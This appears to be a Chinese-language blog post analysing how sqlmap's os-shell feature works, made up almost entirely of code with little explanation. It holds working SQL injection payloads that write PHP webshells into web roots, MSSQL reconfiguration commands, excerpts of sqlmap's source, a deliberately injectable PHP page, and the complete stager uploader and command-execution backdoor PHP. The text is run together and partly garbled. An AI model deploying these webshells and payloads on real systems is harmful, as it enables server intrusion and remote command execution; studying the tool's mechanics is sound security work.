Sqlmap之os-shell原理分析

1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#

1' union select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#

set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';

def osShell(self):          if isStackingAvailable() or conf.direct:        web = False    elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):        infoMsg = "going to use a web backdoor for command prompt"        logger.info(infoMsg)
        web = True        ......    self.getRemoteTempPath()            try:            self.initEnv(web=web)        except SqlmapFilePathException:            if not web and not conf.direct:                infoMsg = "falling back to web backdoor method..."                logger.info(infoMsg)
                web = True                kb.udfFail = True
                self.initEnv(web=web)            else:                raise
        if not web or (web and self.webBackdoorUrl is not None):            self.shell()
        if not conf.osPwn and not conf.cleanup:            self.cleanup(web=web)

def getRemoteTempPath(self):        if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):            .....
            _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
            if _:                conf.tmpPath = ntpath.dirname(_)
        if not conf.tmpPath:            if Backend.isOs(OS.WINDOWS):                if conf.direct:                    conf.tmpPath = "%TEMP%"                else:                    self.checkDbmsOs(detailed=True)
                    if Backend.getOsVersion() in ("2000", "NT"):                        conf.tmpPath = "C:/WINNT/Temp"                    elif Backend.isOs("XP"):                        conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"                    else:                        conf.tmpPath = "C:/Windows/Temp"            else:                conf.tmpPath = "/tmp"
        if re.search(r"A[w]:[/\]+", conf.tmpPath, re.I):            Backend.setOs(OS.WINDOWS)
        conf.tmpPath = normalizePath(conf.tmpPath)        conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
        singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath)
        hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
        return conf.tmpPath

def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):        self._initRunAs()
      .......
        if web:            self.webInit()        else:            self.checkDbmsOs(detailed)
            .....
            if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():                success = True            elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):                success = self.udfInjectSys()
                if success is not True:                    msg = "unable to mount the operating system takeover"                    raise SqlmapFilePathException(msg)            elif Backend.isDbms(DBMS.MSSQL):                if mandatory:                    self.xpCmdshellInit()            else:                errMsg = "feature not yet implemented for the back-end DBMS"                raise SqlmapUnsupportedFeatureException(errMsg)
        self.envInitialized = True

EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;RECONFIGURE WITH OVERRIDE

if page:        for regex in FILE_PATH_REGEXES:            for match in re.finditer(regex, page):                absFilePath = match.group("result").strip()                page = page.replace(absFilePath, "")
                if isWindowsDriveLetterPath(absFilePath):                    absFilePath = posixToNtSlashes(absFilePath)
                if absFilePath not in kb.absFilePaths:                    kb.absFilePaths.add(absFilePath)

FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line d+", r"bin (?P<result>[^<>'"]+?)['"]? on line d+", r"(?:[>(
展开收缩
)(?P<result>[A-Za-z]:[\/][w. \/-]*)", r"(?:[>(
展开收缩
)(?P<result>/w[/w.~-]+)", r"bhref=['"]file://(?P<result>/[^'"]+)", r"bin <b>(?P<result>[^<]+): line d+")

backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))

OR randInt=randInt LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -

_ = "tmpe%s.exe" % randomStr(lowercase=True)if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)    self.webDirectory = backdoorDirectory

<?php$id= $_GET['x'];$conn = mysql_connect('127.0.0.1','root','123456');mysql_select_db('user',$conn);$sql = "select * from user where id=$id";$result = mysql_query($sql);while($row = mysql_fetch_array($result)){echo "ID".$row['id']."</br>";echo "用户名".$row['username']."</br>";echo "密码".$row['password']."</br>";}mysql_close($conn);echo "<hr>";echo "当前语句：";echo $sql ?>

1  admin  admin<?phpif (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\Users\Gality\Desktop\phpstudy\PHPTutorial\WWW\> <input type=submit name=upload value=upload></form>";}?>

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>